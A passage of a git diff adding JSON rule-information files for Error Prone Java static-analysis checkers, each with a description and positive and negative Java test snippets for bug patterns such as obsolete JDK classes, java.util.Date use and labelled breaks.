org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner {\n @Test\n @Parameters(method = \"named1\")\n public void paramStaticProvider() {}\n }\\" + }, + { + "description": "negativeCase_nonJUnitParamsRunner_noErrorsFound", + "expected-problems": null, + "expected-linenumbers": [ + 168 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junitparams.Parameters;\n import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner {\n @Test\n @Parameters(method = \"named1\")\n public void paramStaticProvider() {}\n }\\" + }, + { + "description": "negativeCase_nonJUnitParamsRunner_noErrorsFound", + "expected-problems": null, + "expected-linenumbers": [ + 168 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junitparams.Parameters;\n import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner {\n @Test\n @Parameters(method = \"named1\")\n public void paramStaticProvider() {}\n }\\" + }, + { + "description": "negativeCase_nonJUnitParamsRunner_noErrorsFound", + "expected-problems": null, + "expected-linenumbers": [ + 168 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junitparams.Parameters;\n import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner {\n @Test\n @Parameters(method = \"named1\")\n public void paramStaticProvider() {}\n }\\" + }, + { + "description": "negativeCase_nonJUnitParamsRunner_noErrorsFound", + "expected-problems": null, + "expected-linenumbers": [ + 168 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junitparams.Parameters;\n import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner {\n @Test\n @Parameters(method = \"named1\")\n public void paramStaticProvider() {}\n }\\" + }, + { + "description": "negativeCase_nonJUnitParamsRunner_noErrorsFound", + "expected-problems": null, + "expected-linenumbers": [ + 168 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junitparams.Parameters;\n import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner {\n @Test\n @Parameters(method = \"named1\")\n public void paramStaticProvider() {}\n }\\" + }, + { + "description": "negativeCase_nonJUnitParamsRunner_noErrorsFound", + "expected-problems": null, + "expected-linenumbers": [ + 168 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junitparams.Parameters;\n import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner {\n @Test\n @Parameters(method = \"named1\")\n public void paramStaticProvider() {}\n }\\" + }, + { + "description": "negativeCase_inheritedMethods_noErrorsFound", + "expected-problems": null, + "expected-linenumbers": [ + 191 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junitparams.JUnitParamsRunner;\n import org.junit.runner.RunWith;\n\n @RunWith(JUnitParamsRunner.class)\n public abstract class JUnitParameterMethodNotFoundNegativeCaseBaseClass {\n public Object named1() {\n return new Object[] {1};\n }\n }\\\n \n\n package com.google.errorprone.bugpatterns.testdata;\n\n import junitparams.JUnitParamsRunner;\n import junitparams.Parameters;\n import org.junit.Test;\n import org.junit.runner.RunWith;\n\n @RunWith(JUnitParamsRunner.class)\n public class JUnitParameterMethodNotFoundNegativeCaseSuperClass\n extends JUnitParameterMethodNotFoundNegativeCaseBaseClass {\n @Test\n @Parameters(method = \"named1\")\n public void testNamed(int a) {}\n }\\" + }, + { + "description": "negativeCase_inheritedMethods_noErrorsFound", + "expected-problems": null, + "expected-linenumbers": [ + 191 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junitparams.JUnitParamsRunner;\n import org.junit.runner.RunWith;\n\n @RunWith(JUnitParamsRunner.class)\n public abstract class JUnitParameterMethodNotFoundNegativeCaseBaseClass {\n public Object named1() {\n return new Object[] {1};\n }\n }\\\n \n\n package com.google.errorprone.bugpatterns.testdata;\n\n import junitparams.JUnitParamsRunner;\n import junitparams.Parameters;\n import org.junit.Test;\n import org.junit.runner.RunWith;\n\n @RunWith(JUnitParamsRunner.class)\n public class JUnitParameterMethodNotFoundNegativeCaseSuperClass\n extends JUnitParameterMethodNotFoundNegativeCaseBaseClass {\n @Test\n @Parameters(method = \"named1\")\n public void testNamed(int a) {}\n }\\" + }, + { + "description": "positiveCase_errorReported", + "expected-problems": null, + "expected-linenumbers": [ + 230 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport junitparams.JUnitParamsRunner;\nimport junitparams.Parameters;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\n\n@RunWith(JUnitParamsRunner.class)\npublic class JUnitParameterMethodNotFoundPositiveCase {\n\n @Test\n @Parameters\n // BUG: Diagnostic contains: [JUnitParameterMethodNotFound]\n public void paramsInDefaultMethod(String p1, Integer p2) {}\n\n @Test\n @Parameters(method = \"named2,named3\")\n // BUG: Diagnostic contains: [JUnitParameterMethodNotFound]\n public void paramsInMultipleMethods(String p1, Integer p2) {}\n\n @Test\n @Parameters(source = JUnitParameterMethodNotFoundPositiveCase.class, method = \"dataProvider\")\n // BUG: Diagnostic contains: [JUnitParameterMethodNotFound]\n public void testSource(int a) {}\n\n static class Inner {\n public Object dataProvider() {\n return new Object[] {1};\n }\n }\n}\\" + }, + { + "description": "positiveCase_errorReported", + "expected-problems": null, + "expected-linenumbers": [ + 230 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport junitparams.JUnitParamsRunner;\nimport junitparams.Parameters;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\n\n@RunWith(JUnitParamsRunner.class)\npublic class JUnitParameterMethodNotFoundPositiveCase {\n\n @Test\n @Parameters\n // BUG: Diagnostic contains: [JUnitParameterMethodNotFound]\n public void paramsInDefaultMethod(String p1, Integer p2) {}\n\n @Test\n @Parameters(method = \"named2,named3\")\n // BUG: Diagnostic contains: [JUnitParameterMethodNotFound]\n public void paramsInMultipleMethods(String p1, Integer p2) {}\n\n @Test\n @Parameters(source = JUnitParameterMethodNotFoundPositiveCase.class, method = \"dataProvider\")\n // BUG: Diagnostic contains: [JUnitParameterMethodNotFound]\n public void testSource(int a) {}\n\n static class Inner {\n public Object dataProvider() {\n return new Object[] {1};\n }\n }\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JavaLangClash.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JavaLangClash.json new file mode 100644 index 0000000..252023e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JavaLangClash.json @@ -0,0 +1,62 @@ +{ + "name": "JavaLangClash", + "language": "java", + "description": "Never reuse class names from java.lang", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 76, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "package foo;\n\n // BUG: Diagnostic contains:\n public class String {}" + }, + { + "description": "positiveTypeParameter", + "expected-problems": null, + "expected-linenumbers": [ + 50 + ], + "code": "package java.lang;\n\n // BUG: Diagnostic contains:\n public class Foo {}" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 65 + ], + "code": "package java.lang;\n\n public class String {}" + }, + { + "description": "negativeNonPublic", + "expected-problems": null, + "expected-linenumbers": [ + 79 + ], + "code": "package Test;\n\n public class AssertionStatusDirectives {}" + }, + { + "description": "negative_compiler", + "expected-problems": null, + "expected-linenumbers": [ + 92 + ], + "code": "package p;\n\n public class Compiler {}" + }, + { + "description": "negative_module", + "expected-problems": null, + "expected-linenumbers": [ + 105 + ], + "code": "package p;\n\n public class Module {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JavaUtilDateChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JavaUtilDateChecker.json new file mode 100644 index 0000000..19f5c87 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JavaUtilDateChecker.json @@ -0,0 +1,46 @@ +{ + "name": "JavaUtilDateChecker", + "language": "java", + "description": "Date has a bad API that leads to bugs; prefer java.time.Instant or LocalDate.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 67, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "javaUtilDate_constructors", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import java.util.Date;\n\n class Test {\n // BUG: Diagnostic contains: Date has a bad API\n private static final Date date1 = new Date();\n // BUG: Diagnostic contains: Date has a bad API\n private static final Date date2 = new Date(123456789L);\n }" + }, + { + "description": "javaUtilDate_staticMethods", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "import java.util.Date;\n\n class Test {\n // BUG: Diagnostic contains: Date has a bad API\n private static final long date = Date.parse(\"Sat, 12 Aug 1995 13:30:00 GMT\");\n }" + }, + { + "description": "javaUtilDate_instanceMethods", + "expected-problems": null, + "expected-linenumbers": [ + 65 + ], + "code": "import java.util.Date;\n\n class Test {\n public void doSomething(Date date) {\n // BUG: Diagnostic contains: Date has a bad API\n long time = date.getTime();\n }\n }" + }, + { + "description": "javaUtilDate_allowedApis", + "expected-problems": null, + "expected-linenumbers": [ + 83 + ], + "code": "import java.time.Instant;\n import java.util.Date;\n\n class Test {\n public void doSomething(Date date) {\n Instant instant = date.toInstant();\n Date date2 = Date.from(instant);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JdkObsolete.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JdkObsolete.json new file mode 100644 index 0000000..a169fa3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JdkObsolete.json @@ -0,0 +1,118 @@ +{ + "name": "JdkObsolete", + "language": "java", + "description": "Suggests alternatives to obsolete JDK classes.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 385, + "branches": 52, + "apis": 14, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "import java.nio.file.Path;\n\n class Test {\n {\n // BUG: Diagnostic contains:\n new java.util.LinkedList<>();\n // BUG: Diagnostic contains:\n new java.util.Stack<>();\n // BUG: Diagnostic contains:\n new java.util.Vector<>();\n // BUG: Diagnostic contains:\n new java.util.Hashtable<>();\n // BUG: Diagnostic contains:\n new StringBuffer();\n // BUG: Diagnostic contains:\n new java.util.Hashtable() {};\n }\n }" + }, + { + "description": "stringBuffer_appendReplacement", + "expected-problems": null, + "expected-linenumbers": [ + 62 + ], + "code": "import java.util.regex.Matcher;\n\n class Test {\n void f(Matcher m) {\n StringBuffer sb = new StringBuffer();\n m.appendReplacement(sb, null);\n }\n }" + }, + { + "description": "stringBuffer_appendTail", + "expected-problems": null, + "expected-linenumbers": [ + 80 + ], + "code": "import java.util.regex.Matcher;\n\n class Test {\n void f(Matcher m) {\n StringBuffer sb = new StringBuffer();\n m.appendTail(sb);\n }\n }" + }, + { + "description": "positiveExtends", + "expected-problems": null, + "expected-linenumbers": [ + 98 + ], + "code": "import java.nio.file.Path;\n\n class Test {\n // BUG: Diagnostic contains:\n abstract class A implements java.util.Enumeration {}\n\n // BUG: Diagnostic contains:\n abstract class B implements java.util.SortedSet {}\n\n // BUG: Diagnostic contains:\n abstract class C implements java.util.SortedMap {}\n\n // BUG: Diagnostic contains:\n abstract class D extends java.util.Dictionary {}\n }" + }, + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 123 + ], + "code": "import java.util.*;\n\n class Test {\n Deque d = new LinkedList<>();\n List l = new LinkedList<>();\n\n {\n l = new LinkedList<>();\n }\n\n LinkedList ll = new LinkedList<>();\n List lll =\n new LinkedList() {\n {\n add(null); // yikes\n }\n };\n }\n \n\n import java.util.*;\n\n class Test {\n Deque d = new ArrayDeque<>();\n List l = new ArrayList<>();\n\n {\n l = new ArrayList<>();\n }\n\n LinkedList ll = new LinkedList<>();\n List lll =\n new LinkedList() {\n {\n add(null); // yikes\n }\n };\n }" + }, + { + "description": "stringBufferRefactoringTest", + "expected-problems": null, + "expected-linenumbers": [ + 173 + ], + "code": "class Test {\n String f() {\n StringBuffer sb = new StringBuffer();\n return sb.append(42).toString();\n }\n }\n \n\n class Test {\n String f() {\n StringBuilder sb = new StringBuilder();\n return sb.append(42).toString();\n }\n }" + }, + { + "description": "stringBufferRefactoringTest_usingVar", + "expected-problems": null, + "expected-linenumbers": [ + 199 + ], + "code": "class Test {\n String f() {\n var sb = new StringBuffer();\n return sb.append(42).toString();\n }\n }\n \n\n class Test {\n String f() {\n var sb = new StringBuilder();\n return sb.append(42).toString();\n }\n }" + }, + { + "description": "obsoleteOverride", + "expected-problems": null, + "expected-linenumbers": [ + 230 + ], + "code": "" + }, + { + "description": "additionalRefactorings", + "expected-problems": null, + "expected-linenumbers": [ + 248 + ], + "code": "import java.util.*;\n import java.util.function.*;\n\n class Test {\n Supplier> a = () -> new LinkedList<>();\n Supplier> b =\n () -> {\n return new LinkedList<>();\n };\n Supplier> c = LinkedList::new;\n\n Deque f() {\n return new LinkedList<>();\n }\n\n void g(Deque x) {}\n\n {\n g(new LinkedList<>());\n }\n\n {\n List> xs = new ArrayList<>();\n List> ys = new ArrayList<>();\n xs.add(new LinkedList<>());\n ys.add(new LinkedList<>());\n }\n }\n \n\n import java.util.*;\n import java.util.function.*;\n\n class Test {\n Supplier> a = () -> new ArrayDeque<>();\n Supplier> b =\n () -> {\n return new ArrayDeque<>();\n };\n Supplier> c = ArrayDeque::new;\n\n Deque f() {\n return new ArrayDeque<>();\n }\n\n void g(Deque x) {}\n\n {\n g(new ArrayDeque<>());\n }\n\n {\n List> xs = new ArrayList<>();\n List> ys = new ArrayList<>();\n xs.add(new LinkedList<>());\n ys.add(new ArrayList<>());\n }\n }" + }, + { + "description": "obsoleteMocking", + "expected-problems": null, + "expected-linenumbers": [ + 318 + ], + "code": "" + }, + { + "description": "navigableSetRepro", + "expected-problems": null, + "expected-linenumbers": [ + 343 + ], + "code": "import java.util.NavigableSet;\n import java.util.Optional;\n\n class Test {\n Optional fail1(Optional> myOptionalSet) {\n return myOptionalSet.map(NavigableSet::first);\n }\n\n Optional fail2(Optional> myOptionalSet) {\n return myOptionalSet.map(NavigableSet::last);\n }\n }" + }, + { + "description": "navigableMapInheritedMethod", + "expected-problems": null, + "expected-linenumbers": [ + 365 + ], + "code": "import java.util.Map;\n import java.util.Set;\n import java.util.NavigableMap;\n\n class Test {\n void f(NavigableMap m) {\n for (Integer e : m.values()) {}\n }\n }" + }, + { + "description": "indirect", + "expected-problems": null, + "expected-linenumbers": [ + 384 + ], + "code": "import com.google.common.collect.SortedSetMultimap;\n import com.google.common.collect.TreeMultimap;\n\n class Test {\n void f() {\n SortedSetMultimap myMultimap = TreeMultimap.create();\n String myValue = myMultimap.get(\"foo\").first();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LabelledBreakTarget.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LabelledBreakTarget.json new file mode 100644 index 0000000..fc46a2a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LabelledBreakTarget.json @@ -0,0 +1,30 @@ +{ + "name": "LabelledBreakTarget", + "language": "java", + "description": "Labels should only be used on loops.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 37, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "class Test {\n void f() {\n // BUG: Diagnostic contains:\n FOO:\n if (true) {\n break FOO;\n }\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "class Test {\n void f(Iterable xs) {\n ONE:\n while (true) {\n break ONE;\n }\n TWO:\n do {\n break TWO;\n } while (true);\n THREE:\n for (var x : xs) {\n break THREE;\n }\n FOUR:\n for (int i = 0; i < 10; i++) {\n break FOUR;\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LambdaFunctionalInterface.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LambdaFunctionalInterface.json new file mode 100644 index 0000000..1059594 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LambdaFunctionalInterface.json @@ -0,0 +1,70 @@ +{ + "name": "LambdaFunctionalInterface", + "language": "java", + "description": "Use Java's utility functional interfaces instead of Function for primitive types.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 261, + "branches": 13, + "apis": 2, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.function.Function;\n\npublic class LambdaFunctionalInterfacePositiveCases {\n\n // BUG: Diagnostic contains: [LambdaFunctionalInterface]\n private double fooIntToDoubleFunctionPr(int x, Function fn) {\n return fn.apply(x);\n }\n\n // BUG: Diagnostic contains: [LambdaFunctionalInterface]\n private long fooIntToLongFunction(int x, Function fn) {\n return fn.apply(x);\n }\n\n // BUG: Diagnostic contains: [LambdaFunctionalInterface]\n private long fooIntToIntFunction(int x, Function fn) {\n return fn.apply(x);\n }\n\n // BUG: Diagnostic contains: [LambdaFunctionalInterface]\n private double fooDoubleToDoubleFunction(double x, Function fn) {\n return fn.apply(x);\n }\n\n // BUG: Diagnostic contains: [LambdaFunctionalInterface]\n private int fooDoubleToIntFunction(double x, Function fn) {\n return fn.apply(x);\n }\n\n // BUG: Diagnostic contains: [LambdaFunctionalInterface]\n private void fooInterface(String str, Function func) {}\n\n // BUG: Diagnostic contains: [LambdaFunctionalInterface]\n private double fooDouble(double x, Function fn) {\n return fn.apply(x);\n }\n\n public static class WithCallSiteExplicitFunction {\n\n private static double generateDataSeries(Function curveFunction) {\n final double scale = 100;\n final double modX = 2.0;\n return modX / curveFunction.apply(scale);\n }\n\n // call site\n private static double generateSpendCurveForMetric(double curved) {\n // explicit Function variable creation\n Function curveFunction = x -> Math.pow(x, 1 / curved) * 100;\n return generateDataSeries(curveFunction);\n }\n\n // call site: lambda Function\n public Double getMu() {\n return generateDataSeries(mu -> 2.3);\n }\n }\n\n public static class WithCallSiteAnonymousFunction {\n\n private static double findOptimalMu(Function costFunc, double mid) {\n return costFunc.apply(mid);\n }\n\n // call site: anonymous Function\n public Double getMu() {\n return findOptimalMu(\n new Function() {\n @Override\n public Long apply(Double mu) {\n return 0L;\n }\n },\n 3.0);\n }\n }\n\n public static class WithCallSiteLambdaFunction {\n\n // BUG: Diagnostic contains: [LambdaFunctionalInterface]\n private static double findOptimalMuLambda(Function costFunc, double mid) {\n return costFunc.apply(mid);\n }\n\n // call site: lambda\n public Double getMu() {\n return findOptimalMuLambda(mu -> 0L, 3.0);\n }\n\n // call site: lambda\n public Double getTu() {\n return findOptimalMuLambda(mu -> 2L, 4.0);\n }\n }\n\n public static class TwoLambdaFunctions {\n\n // BUG: Diagnostic contains: [LambdaFunctionalInterface]\n private static double find(\n Function firstFunc, Function secondFun, double mid) {\n firstFunc.apply(mid + 2);\n\n return firstFunc.apply(mid);\n }\n\n // call site: lambda\n public Double getMu() {\n return find(mu -> 0L, nu -> 1L, 3.0);\n }\n\n // call site: lambda\n public Double getTu() {\n return find(mu -> 2L, nu -> 3L, 4.0);\n }\n }\n\n public static class NumbertoT {\n\n // BUG: Diagnostic contains: [LambdaFunctionalInterface]\n private static List numToTFunction(Function converter) {\n List namedNumberIntervals = new ArrayList<>();\n T min = converter.apply(2.9);\n T max = converter.apply(5.6);\n namedNumberIntervals.add(min);\n namedNumberIntervals.add(max);\n return namedNumberIntervals;\n }\n\n // call site: lambda\n public List getIntList() {\n List result = numToTFunction(num -> 2 + 3);\n\n return result;\n }\n\n // call site: lambda\n public List getDoubleList() {\n List result = numToTFunction(num -> 2.3);\n\n return result;\n }\n }\n\n public static class TtoNumber {\n\n // BUG: Diagnostic contains: [LambdaFunctionalInterface]\n private int sumAll(Function sizeConv) {\n return sizeConv.apply((T) Integer.valueOf(3));\n }\n\n public int getSumAll() {\n return sumAll(o -> 2);\n }\n }\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 204 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport java.util.function.Function;\nimport java.util.function.IntToDoubleFunction;\n\npublic class LambdaFunctionalInterfaceNegativeCases {\n\n public double fooIntToDoubleFunction(int x, Function fn) {\n return fn.apply(x).doubleValue();\n }\n\n public void fooIntToDoubleUtil(int y, IntToDoubleFunction fn) {\n fn.applyAsDouble(y);\n }\n\n public long fooIntToLongFunction(int x, Function fn) {\n return fn.apply(x);\n }\n\n public long fooIntToIntFunction(int x, Function fn) {\n return fn.apply(x);\n }\n\n public double fooDoubleToDoubleFunction(double x, Function fn) {\n return fn.apply(x);\n }\n\n public int fooDoubleToIntFunction(double x, Function fn) {\n return fn.apply(x);\n }\n\n public String add(String string, Function func) {\n return func.apply(string);\n }\n\n public void fooInterface(String str, Function func) {}\n\n public double fooDouble(double x, Function fn) {\n return fn.apply(x);\n }\n\n public static class WithCallSiteExplicitFunction {\n\n public static double generateDataSeries(Function curveFunction) {\n final double scale = 100;\n final double modX = 2.0;\n return modX / curveFunction.apply(scale);\n }\n\n // call site\n private static double generateSpendCurveForMetric(double curved) {\n // explicit Function variable creation\n Function curveFunction = x -> Math.pow(x, 1 / curved) * 100;\n return generateDataSeries(curveFunction);\n }\n }\n\n public static class WithCallSiteAnonymousFunction {\n\n public static double findOptimalMu(Function costFunc, double mid) {\n return costFunc.apply(mid);\n }\n\n // call site: anonymous Function\n public Double getMu() {\n return findOptimalMu(\n new Function() {\n @Override\n public Long apply(Double mu) {\n return 0L;\n }\n },\n 3.0);\n }\n }\n\n public static class WithCallSiteLambdaFunction {\n\n public static double findOptimalMuLambda(Function costFunc, double mid) {\n return costFunc.apply(mid);\n }\n\n // call site: anonymous Function\n public Double getMu() {\n return findOptimalMuLambda(mu -> 0L, 3.0);\n }\n }\n}\\" + }, + { + "description": "refactoringTwo", + "expected-problems": null, + "expected-linenumbers": [ + 302 + ], + "code": "import java.util.function.Function;\n\npublic class TwoLambdaFunctions {\n private static double find(\n Function firstSpecial, Function secondSpecial, double mid) {\n secondSpecial.apply(2);\n return firstSpecial.apply(mid);\n }\n\n public Double getMu() {\n return find(mu -> 0L, nu -> 1L, 3.0);\n }\n\n public Double getTu() {\n return find(mu -> 2L, nu -> 3L, 4.0);\n }\n}\n\n\n import java.util.function.DoubleToLongFunction;\n import java.util.function.Function;\n import java.util.function.IntToLongFunction;\n\n public class TwoLambdaFunctions {\n private static double find(\n DoubleToLongFunction firstSpecial, IntToLongFunction secondSpecial, double mid) {\n secondSpecial.applyAsLong(2);\n return firstSpecial.applyAsLong(mid);\n }\n\n public Double getMu() {\n return find(mu -> 0L, nu -> 1L, 3.0);\n }\n\n public Double getTu() {\n return find(mu -> 2L, nu -> 3L, 4.0);\n }\n }" + }, + { + "description": "refactoringInteger", + "expected-problems": null, + "expected-linenumbers": [ + 353 + ], + "code": "import java.util.function.Function;\n\npublic class TwoLambdaFunctions {\n private static int find(\n Function firstSpecial, Function secondSpecial, int mid) {\n secondSpecial.apply(2);\n return firstSpecial.apply(mid);\n }\n\n public Integer getMu() {\n return find(mu -> 0, nu -> 1.1, 3);\n }\n\n public Integer getTu() {\n return find(mu -> 2, nu -> 3.2, 4);\n }\n}\n\n\n import java.util.function.Function;\n import java.util.function.IntFunction;\n import java.util.function.IntToDoubleFunction;\n\n public class TwoLambdaFunctions {\n private static int find(\n IntFunction firstSpecial, IntToDoubleFunction secondSpecial, int mid) {\n secondSpecial.applyAsDouble(2);\n return firstSpecial.apply(mid);\n }\n\n public Integer getMu() {\n return find(mu -> 0, nu -> 1.1, 3);\n }\n\n public Integer getTu() {\n return find(mu -> 2, nu -> 3.2, 4);\n }\n }" + }, + { + "description": "refactoringPrimitiveToGeneric", + "expected-problems": null, + "expected-linenumbers": [ + 404 + ], + "code": "import java.util.function.Function;\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class NumbertoT {\n private static List numToTFunction(Function converter) {\n List namedNumberIntervals = new ArrayList<>();\n T min = converter.apply(2.9);\n T max = converter.apply(5.6);\n namedNumberIntervals.add(min);\n namedNumberIntervals.add(max);\n return namedNumberIntervals;\n }\n\n public List getIntList() {\n List result = numToTFunction(num -> 2);\n return result;\n }\n\n public List getDoubleList() {\n List result = numToTFunction(num -> 3.2);\n return result;\n }\n}\n\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.function.DoubleFunction;\nimport java.util.function.Function;\n\npublic class NumbertoT {\n private static List numToTFunction(DoubleFunction converter) {\n List namedNumberIntervals = new ArrayList<>();\n T min = converter.apply(2.9);\n T max = converter.apply(5.6);\n namedNumberIntervals.add(min);\n namedNumberIntervals.add(max);\n return namedNumberIntervals;\n }\n\n public List getIntList() {\n List result = numToTFunction(num -> 2);\n return result;\n }\n\n public List getDoubleList() {\n List result = numToTFunction(num -> 3.2);\n return result;\n }\n}" + }, + { + "description": "refactoringGenericToPrimitive", + "expected-problems": null, + "expected-linenumbers": [ + 468 + ], + "code": "import java.util.function.Function;\n\n public class NumbertoT {\n private int sumAll(Function sizeConv) {\n return sizeConv.apply((T) Integer.valueOf(3));\n }\n\n public int getSumAll() {\n return sumAll(o -> 2);\n }\n }\n \n\n import java.util.function.Function;\n import java.util.function.ToIntFunction;\n\n public class NumbertoT {\n private int sumAll(ToIntFunction sizeConv) {\n return sizeConv.applyAsInt((T) Integer.valueOf(3));\n }\n\n public int getSumAll() {\n return sumAll(o -> 2);\n }\n }" + }, + { + "description": "onEnum", + "expected-problems": null, + "expected-linenumbers": [ + 506 + ], + "code": "import java.util.function.Function;\n\n public enum E {\n VALUE(String::length);\n\n // BUG: Diagnostic contains:\n E(Function func) {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LiteByteStringUtf8.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LiteByteStringUtf8.json new file mode 100644 index 0000000..2189dc7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LiteByteStringUtf8.json @@ -0,0 +1,30 @@ +{ + "name": "LiteByteStringUtf8", + "language": "java", + "description": "This pattern will silently corrupt certain byte sequences from the serialized protocol message. Use ByteString or byte[] directly", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 50, + "branches": 1, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import com.google.protobuf.ByteString;\n import com.google.protobuf.MessageLite;\n\n class Foo {\n void main(com.google.protobuf.MessageLite m) {\n // BUG: Diagnostic contains: ByteString\n String s = m.toByteString().toStringUtf8();\n }\n }" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 50 + ], + "code": "import com.google.protobuf.ByteString;\n import com.google.protobuf.MessageLite;\n\n class Foo {\n void main(MessageLite m, ByteString b) {\n ByteString b2 = m.toByteString();\n String s = b2.toStringUtf8();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LiteEnumValueOf.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LiteEnumValueOf.json new file mode 100644 index 0000000..2cbae4c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LiteEnumValueOf.json @@ -0,0 +1,38 @@ +{ + "name": "LiteEnumValueOf", + "language": "java", + "description": "Instead of converting enums to string and back, its numeric value should be used instead as it is the stable part of the protocol defined by the enum.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 62, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 75 + ], + "code": "class Test {\n void test() {\n // BUG: Diagnostic contains:\n FakeLiteEnum.valueOf(\"FOO\");\n // BUG: Diagnostic contains:\n FakeLiteEnum.FOO.valueOf(\"FOO\");\n }\n }" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 93 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestEnum;\n\n class Usage {\n private TestEnum testMethod() {\n return TestEnum.valueOf(\"FOO\");\n }\n }" + }, + { + "description": "negativeCaseJDK9OrAbove", + "expected-problems": null, + "expected-linenumbers": [ + 110 + ], + "code": "enum ProtoLiteEnum {\n FOO(1),\n BAR(2);\n private final int number;\n\n private ProtoLiteEnum(int number) {\n this.number = number;\n }\n\n public int getNumber() {\n return number;\n }\n }\n \n\n import 